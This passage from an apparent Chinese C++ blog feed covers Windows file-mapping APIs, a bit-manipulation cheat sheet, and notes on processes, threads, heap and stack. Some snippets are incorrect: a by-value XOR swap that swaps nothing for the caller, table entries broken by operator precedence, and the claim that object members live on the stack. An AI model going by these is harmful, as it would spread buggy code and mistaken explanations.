XML:LANG="ZH-CN">必须设置以决定映射对象的大小。</span></font></font></p>
<p style="TEXT-INDENT: -18pt; MARGIN: 0mm 0mm 0pt 18pt"><font color=#000000><span lang=EN-US XML:LANG="EN-US"><span><font size=3 face=Century>2.</font><span style="FONT: 7pt 'Times new roman'">&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr></span></span></span> <font size=3><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">将文件数据映射到进程的虚拟地址 空间</span></font></font></p>
<p style="MARGIN: 0mm 0mm 0pt 18pt"><font size=3><font color=#000000><span lang=EN-US XML:LANG="EN-US"><font face=Century>MapViewOfFile</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">：将文件映射的</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>view</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">映射到调用进程的地址空间。</span></font></font></p>
<p style="MARGIN: 0mm 0mm 0pt 18pt"><font size=3><font color=#000000><span lang=EN-US XML:LANG="EN-US"><font face=Century>hFileMappingObject</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">是</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>CreateFileMapping</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">或</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>OpenFileMapping</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">返回的句柄。</span></font></font></p>
<p style="MARGIN: 0mm 0mm 0pt 18pt"><font size=3><font color=#000000><span lang=EN-US XML:LANG="EN-US"><font face=Century>dwFileOffsetHigh</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">和</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>dwFileOffsetLow</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">指定了从文件的什么地方开始映射到虚拟地址空间中，</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>dwNumberOfBytesToMap</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">指定了映射的范围，若为</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>0</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">则到文件结束。</span></font></font></p>
<p style="MARGIN: 0mm 0mm 0pt 18pt"><font size=3><font color=#000000><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">要注意的是写入磁 盘上的文件的时机是系统决定的，通过</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>FlushViewOfFile</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">函数可强迫系统立即写入磁盘。</span></font></font></p>
<p style="MARGIN: 0mm 0mm 0pt 18pt"><font size=3><font color=#000000><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">当不再操作映射时 要调用</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>UnmapViewOfFile</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">取消映射，其参数为</span><span lang=EN-US XML:LANG="EN-US"><font face=Century>MapViewOfFile</font></span><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">的返回值，若以写入的方式打开映射则此时会写入磁盘。</span></font></font></p>
<p style="TEXT-INDENT: -18pt; MARGIN: 0mm 0mm 0pt 18pt"><font color=#000000><span lang=EN-US XML:LANG="EN-US"><span><font size=3 face=Century>3.</font><span style="FONT: 7pt 'Times new roman'">&nbsp;<wbr>&nbsp;<wbr>&nbsp;<wbr></span></span></span> <font size=3><span style="FONT-FAMILY: simsun" lang=ZH-CN XML:LANG="ZH-CN">操作数据</span></font></font></p>
<p style="MARGIN: 0mm 0mm 0pt"><font color=#000000><span style="FONT-FAMILY: 'Century', 'serif'; FONT-SIZE: 10.5pt" lang=EN-US XML:LANG="EN-US">MapViewOfFile</span><span style="FONT-FAMILY: simsun; FONT-SIZE: 10.5pt" lang=ZH-CN XML:LANG="ZH-CN">返回的指针类似于一个 文件指针，我们可以通过偏移量来访问文件的内容。</span></font></p>
</span></font>
<img src ="http://www.cppblog.com/superKiki/aggbug/117152.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/superKiki/" target="_blank">superKiki</a> 2010-06-04 10:04 <a href="http://www.cppblog.com/superKiki/articles/117152.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>位运算不完全手册</title><link>http://www.cppblog.com/superKiki/articles/117046.html</link><dc:creator>superKiki</dc:creator><author>superKiki</author><pubDate>Wed, 02 Jun 2010 12:13:00 GMT</pubDate><guid>http://www.cppblog.com/superKiki/articles/117046.html</guid><wfw:comment>http://www.cppblog.com/superKiki/comments/117046.html</wfw:comment><comments>http://www.cppblog.com/superKiki/articles/117046.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/superKiki/comments/commentRss/117046.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/superKiki/services/trackbacks/117046.html</trackback:ping><description><![CDATA[位运算应用口诀 <br>清零取反要用与，某位置一可用或 <br>若要取反和交换，轻轻松松用异或 <br>移位运算 <br>要点 1 它们都是双目运算符，两个运算分量都是整形，结果也是整形。 <br>2 " &lt; &lt;" 左移：右边空出的位上补0，左边的位将从字头挤掉，其值相当于乘2。 <br>3 "&gt;&gt;"右移：右边的位被挤掉。对于左边移出的空位，如果是正数则空位补0，若为负数，可能补0或补1，这取决于所用的计算机系统。 <br>4 "&gt;&gt;&gt;"运算符，右边的位被挤掉，对于左边移出的空位一概补上0。 <br>位运算符的应用 (源操作数s 掩码mask) <br>(1) 按位与-- &amp; <br>1 清零特定位 (mask中特定位置0，其它位为1，s=s&amp;mask) <br>2 取某数中指定位 (mask中特定位置1，其它位为0，s=s&amp;mask) <br>(2) 按位或-- | <br>常用来将源操作数某些位置1，其它位不变。 (mask中特定位置1，其它位为0 s=s|mask) <br>(3) 位异或-- ^ <br>1 使特定位的值取反 (mask中特定位置1，其它位为0 s=s^mask) <br>2 不引入第三变量，交换两个变量的值 (设 a=a1,b=b1) <br>目 标 操 作 操作后状态 <br>a=a1^b1 a=a^b a=a1^b1,b=b1 <br>b=a1^b1^b1 b=a^b a=a1^b1,b=a1 <br>a=b1^a1^a1 a=a^b a=b1,b=a1 <br>二进制补码运算公式： <br>-x = ~x + 1 = ~(x-1) <br>~x = -x-1 <br>-(~x) = x+1 <br>~(-x) = x-1 <br>x+y = x - ~y - 1 = (x|y)+(x&amp;y) <br>x-y = x + ~y + 1 = (x|~y)-(~x&amp;y) <br>x^y = (x|y)-(x&amp;y) <br>x|y = (x&amp;~y)+y <br>x&amp;y = (~x|y)-~x <br>x==y: ~(x-y|y-x) <br>x!=y: x-y|y-x <br>x &lt; y: (x-y)^((x^y)&amp;((x-y)^x)) <br>x &lt;=y: (x|~y)&amp;((x^y)|~(y-x)) <br>x &lt; y: (~x&amp;y)|((~x|y)&amp;(x-y))//无符号x,y比较 <br>x &lt;=y: (~x|y)&amp;((x^y)|~(y-x))//无符号x,y比较 <br>应用举例 <br>(1) 判断int型变量a是奇数还是偶数 <br>a&amp;1 = 0 偶数 <br>a&amp;1 = 1 奇数 <br>(2) 取int型变量a的第k位 (k=0,1,2&#8230;&#8230;sizeof(int))，即a&gt;&gt;k&amp;1 <br>(3) 将int型变量a的第k位清0，即a=a&amp;~(1 &lt; &lt;k) <br>(4) 将int型变量a的第k位置1， 即a=a|(1 &lt; &lt;k) <br>(5) int型变量循环左移k次，即a=a &lt; &lt;k|a&gt;&gt;16-k (设sizeof(int)=16) <br>(6) int型变量a循环右移k次，即a=a&gt;&gt;k|a &lt; &lt;16-k (设sizeof(int)=16) <br>(7)整数的平均值 <br>对于两个整数x,y，如果用 (x+y)/2 求平均值，会产生溢出，因为 x+y 可能会大于INT_MAX，但是我们知道它们的平均值是肯定不会溢出的，我们用如下算法： <br>int average(int x, int y) //返回X,Y 的平均值 <br>{ <br>return (x&amp;y)+((x^y)&gt;&gt;1); <br>} <br>(8)判断一个整数是不是2的幂,对于一个数 x &gt;= 0，判断他是不是2的幂 <br>boolean power2(int x) <br>{ <br>return ((x&amp;(x-1))==0)&amp;&amp;(x!=0)； <br>} <br>(9)不用temp交换两个整数 <br>void swap(int x , int y) <br>{ <br>x ^= y; <br>y ^= x; <br>x ^= y; <br>} <br>(10)计算绝对值 <br>int abs( int x ) <br>{ <br>int y ; <br>y = x &gt;&gt; 31 ; <br>return (x^y)-y ; //or: (x+y)^y <br>} <br>(11)取模运算转化成位运算 (在不产生溢出的情况下) <br>a % (2^n) 等价于 a &amp; (2^n - 1) <br>(12)乘法运算转化成位运算 (在不产生溢出的情况下) <br>a * (2^n) 等价于 a &lt; &lt; n <br>(13)除法运算转化成位运算 (在不产生溢出的情况下) <br>a / (2^n) 等价于 a&gt;&gt; n <br>例: 12/8 == 12&gt;&gt;3 <br>(14) a % 2 等价于 a &amp; 1 <br>(15) if (x == a) x= b; <br>　　 else x= a; <br>　　 等价于 x= a ^ b ^ x; <br>(16) x 的 相反数 表示为 (~x+1) <br><br><br>实例 <br><br>功能 | 示例 | 位运算 <br>----------------------+---------------------------+-------------------- <br>去掉最后一位 | (101101-&gt;10110) | x &gt;&gt; 1 <br>在最后加一个0 | (101101-&gt;1011010) | x &lt; &lt; 1 <br>在最后加一个1 | (101101-&gt;1011011) | x &lt; &lt; 1+1 <br>把最后一位变成1 | (101100-&gt;101101) | x | 1 <br>把最后一位变成0 | (101101-&gt;101100) | x | 1-1 <br>最后一位取反 | (101101-&gt;101100) | x ^ 1 <br>把右数第k位变成1 | (101001-&gt;101101,k=3) | x | (1 &lt; &lt; (k-1)) <br>把右数第k位变成0 | (101101-&gt;101001,k=3) | x &amp; ~ (1 &lt; &lt; (k-1)) <br>右数第k位取反 | (101001-&gt;101101,k=3) | x ^ (1 &lt; &lt; (k-1)) <br>取末三位 | (1101101-&gt;101) | x &amp; 7 <br>取末k位 | (1101101-&gt;1101,k=5) | x &amp; ((1 &lt; &lt; k)-1) <br><br>取右数第k位 | (1101101-&gt;1,k=4) | x &gt;&gt; (k-1) &amp; 1 <br><br>把末k位变成1 | (101001-&gt;101111,k=4) | x | (1 &lt; &lt; k-1) <br>末k位取反 | (101001-&gt;100110,k=4) | x ^ (1 &lt; &lt; k-1) <br>把右边连续的1变成0 | (100101111-&gt;100100000) | x &amp; (x+1) <br>把右起第一个0变成1 | (100101111-&gt;100111111) | x | (x+1) <br>把右边连续的0变成1 | (11011000-&gt;11011111) | x | (x-1) <br>取右边连续的1 | (100101111-&gt;1111) | (x ^ (x+1)) &gt;&gt; 1 <br>去掉右起第一个1的左边 | (100101000-&gt;1000) | x &amp; (x ^ (x-1)) <br>判断奇数 (x&amp;1)==1 <br>判断偶数 (x&amp;1)==0&nbsp;&nbsp;&nbsp;&nbsp;
<img src ="http://www.cppblog.com/superKiki/aggbug/117046.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.cppblog.com/superKiki/" target="_blank">superKiki</a> 2010-06-02 20:13 <a href="http://www.cppblog.com/superKiki/articles/117046.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>进程线程及堆栈关系的总结</title><link>http://www.cppblog.com/superKiki/articles/117033.html</link><dc:creator>superKiki</dc:creator><author>superKiki</author><pubDate>Wed, 02 Jun 2010 09:59:00 GMT</pubDate><guid>http://www.cppblog.com/superKiki/articles/117033.html</guid><wfw:comment>http://www.cppblog.com/superKiki/comments/117033.html</wfw:comment><comments>http://www.cppblog.com/superKiki/articles/117033.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.cppblog.com/superKiki/comments/commentRss/117033.html</wfw:commentRss><trackback:ping>http://www.cppblog.com/superKiki/services/trackbacks/117033.html</trackback:ping><description><![CDATA[<p>突然想到进程的栈和线程的栈,就顺便说一下,线程的栈被自动分配到进程的内存空间中</p>
<p>进程和线程都是由操作系统所体会的程序运行的基本单元，系统利用该基本单元实现系统对应用的并发性。进程和线程的区别在于： <br><br>简而言之,一个程序至少有一个进程,一个进程至少有一个线程. <br>线程的划分尺度小于进程，使得多线程程序的并发性高。 <br>另外，进程在执行过程中拥有独立的内存单元，而多个线程共享内存，从而极大地提高了程序的运行效率。 <br>线程在执行过程中与进程还是有区别的。每个独立的线程有一个程序运行的入口、顺序执行序列和程序的出口。但是线程不能够独立执行，必须依存在应用程序中，由应用程序提供多个线程执行控制。 <br>从逻辑角度来看，多线程的意义在于一个应用程序中，有多个执行部分可以同时执行。但操作系统并没有将多个线程看做多个独立的应用，来实现进程的调度和管理以及资源分配。这就是进程和线程的重要区别。 <br><br>进程是具有一定独立功能的程序关于某个数据集合上的一次运行活动,进程是系统进行资源分配和调度的一个独立单位. <br>线程是进程的一个实体,是CPU调度和分派的基本单位,它是比进程更小的能独立运行的基本单位.线程自己基本上不拥有系统资源,只拥有一点在运行中必不可少的资源(如程序计数器,一组寄存器和栈),但是它可与同属一个进程的其他的线程共享进程所拥有的全部资源. <br>一个线程可以创建和撤销另一个线程;同一个进程中的多个线程之间可以并发执行.</p>
<p>&#160;</p>
<p>============================================================</p>
<p>&#160;</p>
<p><span style="COLOR: red; FONT-SIZE: 9pt"><strong>堆：</strong></span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">　是大家共有的空间，分全局堆和局部堆。全局堆就是所有没有分配的空间，局部堆就是用户分配的空间。堆在操作系统对进程初始化的时候分配，运行过程中也可以向系统要额外的堆，但是记得用完了要还给操作系统，要不然就是内存泄漏。</span></p>
<div class=postText>
<div style="LINE-HEIGHT: 150%; MARGIN-BOTTOM: 12pt" align=left><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt"><br></span><strong><span style="COLOR: red; FONT-SIZE: 9pt">栈：</span></strong><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">是个线程独有的，保存其运行状态和局部自动变量的。栈在线程开始的时候初始化，每个线程的栈互相独立，因此，栈是　</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">thread safe</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">的。每个Ｃ　＋＋对象的数据成员也存在在栈中，每个函数都有自己的栈，栈被用来在函数之间传递参数。操作系统在切换线程的时候会自动的切换栈，就是切换　ＳＳ／ＥＳＰ寄存器。栈空间不需要在高级语言里面显式的分配和释放。</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt"><br><br></span><strong><span style="COLOR: black; FONT-SIZE: 9pt"><strong style="BACKGROUND-COLOR: #ffff66; COLOR: black">堆和栈的区别</strong></span></strong><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt"><br><br></span><strong><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">一、预备知识</span></strong><strong><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">—</span></strong><strong><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">程序的内存分配</span></strong><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt"><br></span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">一个由</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">c/C++</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">编译的程序占用的内存分为以下几个部分：</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt"><br>1</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">、栈区（</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">stack</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">）</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">— </span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">由编译器自动分配释放，存放函数的参数值，局部变量的值等。其操作方式类似于数据结构中的栈。</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt"><br><br>2</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">、堆区（</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">heap</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">）</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt"> — </span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">一般由程序员分配释放，若程序员不释放，程序结束时可能由</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">OS</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">回收。注意它与数据结构中的堆是两回事，分配方式倒是类似于链表。</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt"><br><br>3</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">、全局区（静态区）（</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">static</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">）</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">—</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">，全局变量和静态变量的存储是放在一块的，初始化的全局变量和静态变量在一块区域，未初始化的全局变量和未初始化的静态变量在相邻的另一块区域。</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt"> - </span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">程序结束后由系统释放。</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt"><br><br>4</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">、文字常量区</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">&nbsp;&nbsp; —</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">常量字符串就是放在这里的。程序结束后由系统释放。</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt"><br><br>5</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">、程序代码区</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">—</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">存放函数体的二进制代码。</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt"><br><br></span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">二、例子程序</span></div>
<div style="LINE-HEIGHT: 150%; MARGIN: 0cm 24pt 0pt"></div>
<div style="BORDER-BOTTOM: rgb(105,140,195) 0.75pt solid; BORDER-LEFT: rgb(105,140,195) 0.75pt solid; PADDING-BOTTOM: 8pt; PADDING-LEFT: 8pt; PADDING-RIGHT: 8pt; BORDER-TOP: rgb(105,140,195) 0.75pt solid; BORDER-RIGHT: rgb(105,140,195) 0.75pt solid; PADDING-TOP: 4pt">
<div style="BORDER-BOTTOM: medium none; BORDER-LEFT: medium none; PADDING-BOTTOM: 0cm; LINE-HEIGHT: 150%; MARGIN: 2.25pt 24pt 24pt; PADDING-LEFT: 0cm; PADDING-RIGHT: 0cm; BORDER-TOP: medium none; BORDER-RIGHT: medium none; PADDING-TOP: 0cm"><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">//main.cpp<br>int a = 0; </span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">全局初始化区</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt"><br>char *p1; </span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">全局未初始化区</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt"><br>main()<br>{<br>int b; </span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">栈</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt"><br>char s[] = "abc"; </span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">栈</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt"><br>char *p2; </span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">栈</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt"><br>char *p3 = "123456"; 123456\0</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">在常量区，</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">p3</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">在栈上。</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt"><br>static int c =0</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">；</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">全局（静态）初始化区</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt"><br>p1 = (char *)malloc(10);<br>p2 = (char *)malloc(20);<br></span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">分配得来得</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">10</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">和</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">20</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">字节的区域就在堆区。</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt"><br>strcpy(p1, "123456"); 123456\0</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">放在常量区，编译器可能会将它与</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">p3</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">所指向的</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">"123456"</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">优化成一个地方。</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt"><br>}</span></div>
</div>
<div style="LINE-HEIGHT: 150%; MARGIN: 24pt 0cm 12pt"><strong><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">二、堆和栈的理论知识</span></strong><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt"><br>2.1</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">申请方式</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt"><br>stack:<br></span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">由系统自动分配。</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">例如，声明在函数中一个局部变量</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt"> int b; </span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">系统自动在栈中为</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">b</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">开辟空间</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt"><br>heap:<br></span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">需要程序员自己申请，并指明大小，在</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">c</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">中</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">malloc</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">函数</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt"><br></span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">如</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">p1 = (char *)malloc(10);<br></span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">在</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">C++</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">中用</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">new</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">运算符</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt"><br></span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">如</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">p2 = (char *)malloc(10);<br></span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">但是注意</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">p1</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">、</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">p2</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">本身是在栈中的。</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt"><br><br><br>2.2<br></span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">申请后系统的响应</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt"><br></span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">栈：只要栈的剩余空间大于所申请空间，系统将为程序提供内存，否则将报异常提示栈溢出。</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt"><br></span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">堆： 首先应该知道操作系统有一个记录空闲内存地址的链表，当系统收到程序的申请时，会遍历该链表，寻找第一个空间大于所申请空间的堆结点，然后将该结点从空闲 结点链表中删除，并将该结点的空间分配给程序，另外，对于大多数系统，会在这块内存空间中的首地址处记录本次分配的大小，这样，代码中的</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">delete</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">语句才能正确的释放本内存空间。另外，由于找到的堆结点的大小不一定正好等于申请的大小，系统会自动的将多余的那部分重新放入空闲链表中。</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt"><br><br>2.3</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">申请大小的限制</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt"><br></span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">栈：在</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">Windows</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">下</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">,</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">栈是向低地址扩展的数据结构，是一块连续的内存的区域。这句话的意思是栈顶的地址和栈的最大容量是系统预先规定好的，在</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">WINDOWS</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">下，栈的大小是</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">2M</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">（也可能是</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">1M</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">，它是一个编译时就确定的常数），如果申请的空间超过栈的剩余空间时，将提示</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">overflow</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">。因此，能从栈获得的空间较小</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt"><br></span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">。</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt"><br></span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">堆：堆是向高地址扩展的数据结构，是不连续的内存区域。这是由于系统是用链表来存储的空闲内存地址的，自然是不连续的，而链表的遍历方向是由低地址向高地址。堆的大小受限于计算机系统中有效的虚拟内存。由此可见，堆获得的空间比较灵活，也比较大。</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt"><br><br><br>2.4</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">申请效率的比较：</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt"><br></span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">栈由系统自动分配，速度较快。但程序员是无法控制的。</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt"><br></span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">堆是由</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">new</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">分配的内存，一般速度比较慢，而且容易产生内存碎片</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">,</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">不过用起来最方便</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">.<br></span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">另外，在</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">WINDOWS</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">下，最好的方式是用</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">VirtualAlloc</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">分配内存，他不是在堆，也不是在栈是直接在进程的地址空间中保留一快内存，虽然用起来最不方便。但是速度快，也最灵活。</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt"><br><br>2.5</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">堆和栈中的存储内容</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt"><br></span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">栈：在函数调用时，第一个进栈的是主函数中后的下一条指令（函数调用语句的下一条可执行语句）的地址，然后是函数的各个参数，在大多数的</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">C</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt">编译器中，参数是由右往左入栈的，然后是函数中的局部变量。注意静态变量是不入栈的。</span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 9pt"><br></span><span style="COLOR: rgb(51,51,51); FONT-SIZE: 